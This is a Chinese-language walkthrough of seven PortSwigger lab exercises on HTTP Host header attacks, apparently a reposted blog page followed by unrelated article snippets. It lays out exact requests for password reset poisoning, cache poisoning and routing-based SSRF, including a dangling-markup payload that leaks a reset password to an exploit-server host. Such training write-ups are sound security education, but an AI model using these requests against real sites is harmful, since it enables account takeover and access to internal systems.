burp靶场--host攻击

burp靶场–host攻击

https://portswigger.net/web-security/host-header#what-is-an-http-host-header-attack

在本节中,我们将讨论错误配置和有缺陷的业务逻辑如何通过 HTTP 主机标头使网站遭受各种攻击。我们将概述用于识别易受 HTTP 主机标头攻击的网站的高级方法,并演示如何利用此方法进行以下类型的攻击:密码重置中毒 实验室
Web 缓存中毒 实验室
利用经典的服务器端漏洞
绕过 实验室认证
虚拟主机暴力破解
基于路由的 SSRF LABS
连接状态攻击 实验室

实验1:基本密码重置中毒

### 实验要求:
该实验室容易受到密码重置中毒的影响。用户carlos会不小心点击他收到的电子邮件中的任何链接。要解决实验室问题,请登录卡洛斯的帐户。
您可以使用以下凭据登录您自己的帐户:wiener:peter。发送到此帐户的任何电子邮件都可以通过漏洞利用服务器上的电子邮件客户端进行读取。### 实验操作:
转到登录页面并注意“忘记密码?” 功能。请求为您自己的帐户重置密码。
转到漏洞利用服务器并打开电子邮件客户端。请注意,您已收到一封电子邮件,其中包含重置密码的链接。请注意,URL 包含查询参数temp-forgot-password-token。
单击该链接并观察系统提示您输入新密码。将您的密码重置为您想要的任何内容。
在 Burp 中,研究 HTTP 历史。请注意,该POST /forgot-password请求用于触发密码重置电子邮件。其中包含将其密码重置为主体参数的用户名。将此请求发送到 Burp Repeater。
在 Burp Repeater 中,观察到您可以将 Host 标头更改为任意值,并且仍然成功触发密码重置。返回电子邮件服务器并查看您收到的新电子邮件。请注意,电子邮件中的 URL 包含您的任意主机标头,而不是通常的域名。
返回 Burp Repeater,将 Host 标头更改为漏洞利用服务器的域名 ( YOUR-EXPLOIT-SERVER-ID.exploit-server.net) 并将username参数更改为carlos。发送请求。
转到您的漏洞利用服务器并打开访问日志。您将看到一个请求GET /forgot-password,其temp-forgot-password-token参数包含 Carlos 的密码重置令牌。记下此标记。
转到您的电子邮件客户端并复制第一封电子邮件中的真实密码重置 URL。在浏览器中访问此 URL,但将重置令牌替换为从访问日志中获取的令牌。
将卡洛斯的密码更改为您想要的任何内容,然后登录以carlos解决实验室问题。

在这里插入图片描述
注销用户wiener:来到登陆功能查看到忘记密码功能:
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
/forgot-password?temp-forgot-password-token=n7ffa8q4ph4fo6xe8dm5se2qk2y4btgs
自己的密码修改连接替换为目标用户carlos的token,进行密码修改:
https://0aa800880469a6b080532192009f00a3.web-security-academy.net/forgot-password?temp-forgot-password-token=ox79jwe6oqs0t6mho2e63exv33op67qb
最终:
https://0aa800880469a6b080532192009f00a3.web-security-academy.net/forgot-password?temp-forgot-password-token=n7ffa8q4ph4fo6xe8dm5se2qk2y4btgs
在这里插入图片描述
重置目标用户密码后登陆成功:
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

实验2:主机标头身份验证绕过

### 实验要求:
本实验根据 HTTP 主机标头对用户的权限级别进行假设。
要解决该实验,请访问管理面板并删除用户carlos。### 实验操作:
GET /将收到 200 响应的请求 发送到 Burp Repeater。请注意,您可以将 Host 标头更改为任意值,并且仍然可以成功访问主页。
浏览/robots.txt并观察到有一个管理面板,位于/admin。
尝试浏览到/admin. 您无权访问,但请注意错误消息,该消息表明本地用户可以访问该面板。
将GET /admin请求发送到 Burp Repeater。
在 Burp Repeater 中,将 Host 标头更改为localhost并发送请求。请注意,您现在已成功访问管理面板,其中提供了删除不同用户的选项。
将请求行更改为GET /admin/delete?username=carlos并发送删除请求carlos以解决实验室问题。

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

实验3:通过不明确的请求造成 Web 缓存中毒

### 实验要求:
由于缓存和后端应用程序处理不明确请求的方式存在差异, 该实验室容易受到Web 缓存中毒的影响。毫无戒心的用户会定期访问该网站的主页。
要解决该实验室问题,请毒害缓存,以便主页alert(document.cookie)在受害者的浏览器中执行。### 实验操作:
将收到 200 响应的请求发送GET /到 Burp Repeater 并研究实验室的行为。观察网站验证 Host 标头。篡改后,您仍然无法访问主页。
在原始响应中,请注意详细的缓存标头,它会告诉您何时获得缓存命中以及缓存的响应有多旧。将任意查询参数添加到您的请求中以充当缓存破坏器,例如GET /?cb=123. 每次您希望从后端服务器获得新响应时,只需更改此参数即可。
请注意,如果您添加具有任意值的第二个 Host 标头,则在验证和路由请求时这似乎会被忽略。至关重要的是,请注意,第二个 Host 标头的任意值反映在用于从 导入脚本的绝对 URL 中/resources/js/tracking.js。
删除第二个主机标头并使用相同的缓存破坏器再次发送请求。请注意,您仍然收到包含注入值的相同缓存响应。
转到漏洞利用服务器并创建一个/resources/js/tracking.js包含有效负载的文件alert(document.cookie)。存储漏洞并复制漏洞服务器的域名。
返回 Burp Repeater,添加第二个 Host 标头,其中包含您的漏洞利用服务器域名。该请求应如下所示:GET /?cb=123 HTTP/1.1
Host: YOUR-LAB-ID.web-security-academy.net
Host: YOUR-EXPLOIT-SERVER-ID.exploit-server.net
发送请求几次,直到您获得响应中反映的漏洞利用服务器 URL 的缓存命中。要模拟受害者,请在 URL 中使用相同的缓存破坏程序来请求浏览器中的页面。确保alert()火灾。
在 Burp Repeater 中,删除所有缓存破坏程序并继续重放请求,直到重新毒害缓存为止。当受害者访问主页时,实验室就被解决了。

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

实验4:基于路由的 SSRF

### 实验要求:
该实验容易通过主机标头 受到基于路由的SSRF攻击。您可以利用此漏洞访问位于内部 IP 地址上的不安全的 Intranet 管理面板。
要解决该实验,请访问位于范围内的内部管理面板192.168.0.0/24,然后删除用户carlos。### 实验操作:
GET /将收到 200 响应的请求 发送到 Burp Repeater。
在 Burp Repeater 中,选择 Host 标头值,右键单击并选择插入 Collaborator 负载以将其替换为 Collaborator 域名。发送请求。
转到“协作者”选项卡并单击“立即投票”。您应该在表中看到一些网络交互,包括 HTTP 请求。这确认您能够向任意服务器发出网站的中间件请求。
将请求发送 GET /给 Burp Intruder。
转到 Burp Intruder 并选择“位置”选项卡。
取消选择更新主机标头以匹配目标。
删除主机标头的值并将其替换为以下 IP 地址,并将有效负载位置添加到最后的八位字节:Host: 192.168.0.§0§
在有效负载选项卡上,选择有效负载类型Numbers。在有效负载设置下,输入以下值:From: 0
To: 255
Step: 1
单击开始攻击。警告将通知您主机标头与指定的目标主机不匹配。由于我们是故意这样做的,因此您可以忽略此消息。
攻击完成后,单击“状态”列对结果进行排序。请注意,单个请求收到了 302 响应,将您重定向到/admin. 将此请求发送到 Burp Repeater。
在 Burp Repeater 中,将请求行更改为GET /admin并发送请求。在响应中,您会看到您已成功访问管理面板。
研究删除用户的表单。请注意,它将生成一个带有CSRF令牌和参数POST的请求。您需要手动创建一个等效的删除请求。 /admin/deleteusernamecarlos
将请求中的路径更改为/admin/delete. 从显示的响应中复制 CSRF 令牌,并将其作为查询参数添加到您的请求中。还添加一个username包含 的参数carlos。请求行现在应如下所示,但具有不同的 CSRF 令牌:GET /admin/delete?csrf=QCT5OmPeAAPnyTKyETt29LszLL7CbPop&username=carlos
从显示的响应中的标头复制会话 cookie Set-Cookie,并将其添加到您的请求中。
右键单击您的请求并选择更改请求方法。Burp 会将其转换为POST请求。
carlos发送删除并解决实验室的 请求。

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

实验5:通过有缺陷的请求解析实现 SSRF

### 实验要求:
由于对请求目标主机的解析 存在缺陷,该实验室容易受到基于路由的SSRF 的影响。您可以利用此漏洞访问位于内部 IP 地址的不安全的 Intranet 管理面板。
要解决该实验,请访问位于范围内的内部管理面板192.168.0.0/24,然后删除用户carlos。### 实验操作:
将收到 200 响应的请求发送GET /到 Burp Repeater 并研究实验室的行为。请注意,网站会验证 Host 标头并阻止任何已修改 Host 标头的请求。
请注意,您还可以通过在请求行中提供绝对 URL 来访问主页,如下所示:GET https://YOUR-LAB-ID.web-security-academy.net/
请注意,执行此操作时,修改 Host 标头不会再导致您的请求被阻止。相反,您会收到超时错误。这表明正在验证绝对 URL 而不是主机标头。
使用Burp Collaborator确认您可以通过这种方式向任意服务器发出网站的中间件请求。例如,以下请求将触发对您的 Collaborator 服务器的 HTTP 请求:GET https://YOUR-LAB-ID.web-security-academy.net/
Host: BURP-COLLABORATOR-SUBDOMAIN
右键单击并选择插入 Collaborator 有效负载,以在请求中指示的位置插入 Burp Collaborator 子域。
将包含绝对 URL 的请求发送到 Burp Intruder。
转到 Burp Intruder 并选择“位置”选项卡。
取消选择更新主机标头以匹配目标。
使用 Host 标头扫描 IP 范围192.168.0.0/24以识别管理界面的 IP 地址。将此请求发送到 Burp Repeater。
在 Burp Repeater 中,附加/admin到请求行中的绝对 URL 并发送请求。请注意,您现在可以访问管理面板,包括用于删除用户的表单。
将请求中的绝对 URL 更改为指向/admin/delete。从显示的响应中复制CSRF令牌,并将其作为查询参数添加到您的请求中。还添加一个username包含 的参数carlos。请求行现在应如下所示,但具有不同的 CSRF 令牌:GET https://YOUR-LAB-ID.web-security-academy.net/admin/delete?csrf=QCT5OmPeAAPnyTKyETt29LszLL7CbPop&username=carlos
从显示的响应中的标头复制会话 cookie Set-Cookie,并将其添加到您的请求中。
右键单击您的请求并选择“更改请求方法”。Burp 会将其转换为POST请求。
carlos发送删除并解决实验室的 请求。

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
fuzz内部主机:
在这里插入图片描述

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

实验6:通过连接状态攻击绕过主机验证

### 实验要求:
该实验容易通过主机标头 受到基于路由的SSRF攻击。尽管前端服务器最初可能会执行主机标头的可靠验证,但它会根据收到的第一个请求对连接上的所有请求做出假设。
要解决该实验,请利用此行为访问位于 的内部管理面板192.168.0.1/admin,然后删除用户carlos。### 实验操作:
将GET /请求发送到 Burp Repeater。进行以下调整:将路径更改为/admin.Host将标题 更改为192.168.0.1.发送请求。请注意,您只是被重定向到主页。复制选项卡,然后将两个选项卡添加到新组中。选择第一个选项卡并进行以下调整:将路径更改回/.将Host标题更改回YOUR-LAB-ID.h1-web-security-academy.net.使用发送 按钮旁边的下拉菜单,将发送模式更改为按顺序发送组(单连接)。将Connection标题更改为keep-alive.发送序列并检查响应。观察第二个请求已成功访问管理面板。研究响应并观察管理面板包含用于删除给定用户的 HTML 表单。记下以下详细信息:动作属性 ( /admin/delete)输入的名称 ( username)令牌csrf。在组中的第二个选项卡上,使用这些详细信息来复制提交表单时将发出的请求。结果应该是这样的:POST /admin/delete HTTP/1.1
Host: 192.168.0.1
Cookie: _lab=YOUR-LAB-COOKIE; session=YOUR-SESSION-COOKIE
Content-Type: x-www-form-urlencoded
Content-Length: CORRECTcsrf=YOUR-CSRF-TOKEN&username=carlos
通过单个连接按顺序发送请求来解决实验问题。

访问主页:404
在这里插入图片描述
在这里插入图片描述
略…

实验7:通过悬挂标记重置密码中毒

### 实验要求:
该实验室很容易因悬挂标记而受到密码重置中毒的影响。要解决实验室问题,请登录卡洛斯的帐户。
您可以使用以下凭据登录您自己的帐户:wiener:peter。发送到此帐户的任何电子邮件都可以通过漏洞利用服务器上的电子邮件客户端进行读取。### 实验操作:
转到登录页面并请求为您自己的帐户重置密码。
进入漏洞利用服务器,打开邮件客户端,找到密码重置邮件。请注意,电子邮件中的链接仅指向通用登录页面,并且 URL 不包含密码重置令牌。相反,新密码会直接在电子邮件正文中发送。
在代理历史记录中,研究对请求的响应GET /email。请注意,电子邮件的 HTML 内容被写入字符串,但DOMPurify在浏览器呈现之前会使用库对其进行清理。
在电子邮件客户端中,请注意,您可以选择以原始 HTML 形式查看每封电子邮件。与电子邮件的渲染版本不同,这似乎没有经过任何处理。
将POST /forgot-password请求发送到 Burp Repeater。观察到篡改 Host 标头中的域名会导致服务器错误。但是,您可以将任意非数字端口添加到主机标头,并且仍然可以正常访问该站点。发送此请求仍会触发密码重置电子邮件:Host: YOUR-LAB-ID.web-security-academy.net:arbitraryport
在电子邮件客户端中,检查电子邮件的原始版本。请注意,注入的端口在链接内反映为未转义的单引号字符串。随后是新密码。
再次发送POST /forgot-password请求,但这次使用端口来打破字符串并注入指向您的漏洞利用服务器的悬空标记有效负载:Host: YOUR-LAB-ID.web-security-academy.net:'<a href="//YOUR-EXPLOIT-SERVER-ID.exploit-server.net/?
检查电子邮件客户端。您应该收到一封新电子邮件,其中大部分内容丢失。转到漏洞利用服务器并检查访问日志。请注意,有一个以 开头的请求条目 GET /?/login'>[…],其中包含电子邮件正文的其余部分,包括新密码。
在Burp Repeater中,最后一次发送请求,但将username参数更改为carlos。刷新访问日志并从相应的日志条目中获取Carlos的新密码。
使用此新密码登录carlos来解决实验问题

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

在这里插入图片描述
邮箱看到的恶意标签如下:
在这里插入图片描述
重置目标用户carlos的密码:
在这里插入图片描述
在这里插入图片描述

在这里插入图片描述

参考:

### portswigger官方:host头攻击:
https://portswigger.net/web-security/host-header#what-is-an-http-host-header-attack
### 关于Host头的一些漏洞
https://blog.csdn.net/weixin_59571952/article/details/126087359
### 一文讲解HTTP报头攻击
https://mp.weixin.qq.com/s/VELsItUdDQCkNzIjyLGOdw
### Host头注入
https://mp.weixin.qq.com/s/c2CawipYaC1JqqMMZ2QaPw
### owasp:Host Header Injection
https://owasp.org/www-project-web-security-testing-guide/stable/4-Web_Application_Security_Testing/07-Input_Validation_Testing/17-Testing_for_Host_Header_Injection
### PayloadsAllTheThings:
https://github.com/swisskyrepo/PayloadsAllTheThings

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/642197.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

PolarDB无感切换特性助力游戏领域高可用实践

❤️作者主页&#xff1a;小虚竹 ❤️作者简介&#xff1a;大家好,我是小虚竹。2022年度博客之星评选TOP 10&#x1f3c6;&#xff0c;Java领域优质创作者&#x1f3c6;&#xff0c;CSDN博客专家&#x1f3c6;&#xff0c;华为云享专家&#x1f3c6;&#xff0c;掘金年度人气作…

零代码编程:用ChatGPT智能批量删除文件标题中的某些字符

文件里面有很多个mp4视频文件&#xff0c;要批量删除文件标题中的“Little Fox - ”“Level 04”、“Level 4”、“Level04”“ - ”、“-”、“_”等字母和符号。 在ChatGPT中输入提示词如下&#xff1a; 你是一个Python编程专家&#xff0c;要完成一个批量重命名文件标题的任…

【wu-framework-parent 1.2.2-JDK17-SNAPSHOT 新版本中的 ACW】

版本: 1.2.2-JDK17-SNAPSHOT 项目地址&#xff1a;https://gitee.com/wujiawei1207537021/wu-framework-parent/tree/master/wu-smart-intergration/wu-smart-acw 演示地址&#xff1a;http://124.222.48.62:30193/wu-smart-acw-ui/index.html admin/admin docker启动 dock…

AI大概不会很快抢走你的饭碗哦!

每周跟踪AI热点新闻动向和震撼发展 想要探索生成式人工智能的前沿进展吗&#xff1f;订阅我们的简报&#xff0c;深入解析最新的技术突破、实际应用案例和未来的趋势。与全球数同行一同&#xff0c;从行业内部的深度分析和实用指南中受益。不要错过这个机会&#xff0c;成为AI领…

Unity3d引擎中使用AIGC生成的360全景图(天空盒)

前言 在这里与Skybox AI一起&#xff0c;一键打造体验无限的360世界&#xff0c;这是这个AIGC一键生成全景图的网站欢迎语。 刚使用它是23年中旬&#xff0c;在没有空去给客户实地拍摄全景图时&#xff0c;可以快速用它生成一些相关的全景图&#xff0c;用作前期沟通的VR de…

数据结构——Java实现栈和队列

一、栈 Stack 1.特点 &#xff08;1&#xff09;栈是一种线性数据结构 &#xff08;2&#xff09;规定只能从栈顶添加元素&#xff0c;从栈顶取出元素 &#xff08;3&#xff09;是一种先进后出的数据结构&#xff08;Last First Out&#xff09;LIFO 2.具体实现 Java中可…

Zookeeper集群

一、Zookeeper概述 1.1 Zookeeper 定义 Zookeeper是一个开源的分布式的&#xff0c;为分布式框架提供协调服务的Apache项目。 1.2 Zookeeper 工作机制 Zookeeper从设计模式角度来理解&#xff1a;是一个基于观察者模式设计的分布式服务管理框架&#xff0c;它负责存储和管理…

华夏基金“冰火两重天”:产品增量不增值,靠什么赢得用户?

近日&#xff0c;华夏基金发布关于华夏野村日经225交易型开放式指数证券投资基金&#xff08;QDII&#xff09;&#xff08;下称“华夏野村日经ETF”&#xff09;二级市场交易价格溢价风险提示及临时停牌公告。 公告内容显示&#xff0c;华夏野村日经ETF二级市场交易价格明显高…

备战2个月,面试被问麻了....

&#x1f525; 交流讨论&#xff1a;欢迎加入我们一起学习&#xff01; &#x1f525; 资源分享&#xff1a;耗时200小时精选的「软件测试」资料包 &#x1f525; 教程推荐&#xff1a;火遍全网的《软件测试》教程 &#x1f4e2;欢迎点赞 &#x1f44d; 收藏 ⭐留言 &#x1…

为什么静态IP是您批量创建社交媒体和账户管理必备?

“新设备登录请求被拒绝&#xff0c;请使用常用设备登录。”谁没有遇到过远程管理社交或商业账户时登录被拒的情况呢? 更糟糕的情况可能是遇到这样的提示&#xff1a;“您的账号可能被盗用&#xff0c;暂时限制使用。请按要求进行身份验证。” 最坏的结果则可能是因为各种原…

工业RFID读卡器的功能和作用

工业读卡器主要用于识别和读写特定目标的数据&#xff0c;它的种类有很多&#xff0c;有分体的读写器也有一体的读写器&#xff0c;根据不同场景的应用可以选择不同的读写器。 工业RFID读卡器的功能和作用 工业RFID读卡器在工业自动化和物流管理等领域中发挥着重要作用。其主要…

什么是DDoS攻击?

什么是DDoS攻击&#xff1f; 拒绝服务&#xff08;Denial-of-Service&#xff0c;DoS&#xff09;攻击是一种针对某些服务可用性的攻击。 通过耗尽CPU、内存、带宽以及磁盘空间等系统资源&#xff0c;来阻止或削弱对网络、系统或应用程序的授权使用的行为。 如果攻击者采用单一…

动态权限有哪些

定位权限&#xff1a; ACCESS_FINE_LOCATION&#xff1a;精确位置ACCESS_COARSE_LOCATION&#xff1a;大致位置 相机权限&#xff1a; CAMERA&#xff1a;访问摄像头 存储权限&#xff1a; READ_EXTERNAL_STORAGE&#xff1a;读取外部存储WRITE_EXTERNAL_STORAGE&#xff1a;…

springboot集成easypoi

easypoi,主打的功能就是容易,通过简单的配置&#xff0c;就可以方便的写出Excel导出,Excel模板导出,Excel导入,Word模板导出 pom导入依赖 <dependencies><dependency><groupId>org.springframework.boot</groupId><artifactId>spring-boot-star…

SpringCloud Aliba-Seata【上】-从入门到学废【7】

目录 &#x1f9c2;.Seata是什么 &#x1f32d;2.Seata术语表 &#x1f953;3.处理过程 &#x1f9c8;4.下载 &#x1f37f;5.修改相关配置 &#x1f95e;6.启动seata 1.Seata是什么 Seata是一款开源的分布式事务解决方案&#xff0c;致力于在微服务架构下提供高性能…

【C++修行之道】STL(初识pair、vector)

目录 一、pair 1.1pair的定义和结构 1.2pair的嵌套 1.3pair自带排序规则 1.4代码示例 二、vector 2.1vector的定义和特性 2.2vector的初始化 一维初始化&#xff1a; 2.3vector的常用函数 2.4vector排序去重 排序: 去重&#xff1a; 示例&#xff1a; 一、pair …

宠物空气净化器推荐哪个好?实惠的猫用猫用净化器牌子测评

作为宠物主人&#xff0c;我们深知养宠物的乐趣和责任&#xff0c;但同时也面临着一些挑战&#xff0c;比如宠物掉毛、异味和空气质量等问题。这就是为什么越来越多的家庭选择宠物空气净化器&#xff0c;为我们创造一个清新、健康的室内环境。 无论我们多么爱我们的毛茸茸伙伴…

STM32(--001) Win10、Win11 上的驱动安装说明

一、USB线插到 CMSIS-DAP 接口上&#xff0c;将自动识别到两个设备 ① CMSIS-DAP&#xff1a;用于烧录代码、在线硬件仿真; 在Keil里烧录&#xff0c;无需通过FlyMCU; ② USB转TTL&#xff1a;用于开发板与电脑间串口通信 &#xff0c;即USART1, TX-PA9、RX-PA10; 接口备注&a…

UDP和TCP代理协议有什么区别?哪个更好

在互联网的世界里&#xff0c;数据传输的方式有很多种&#xff0c;其中 UDP 和 TCP 是两种常见的传输协议。而代理协议则是为了在网络中传输数据时提供安全、稳定和高效的传输环境。那么&#xff0c;UDP 和 TCP 代理协议有什么区别呢&#xff1f;哪个更好呢&#xff1f;接下来&…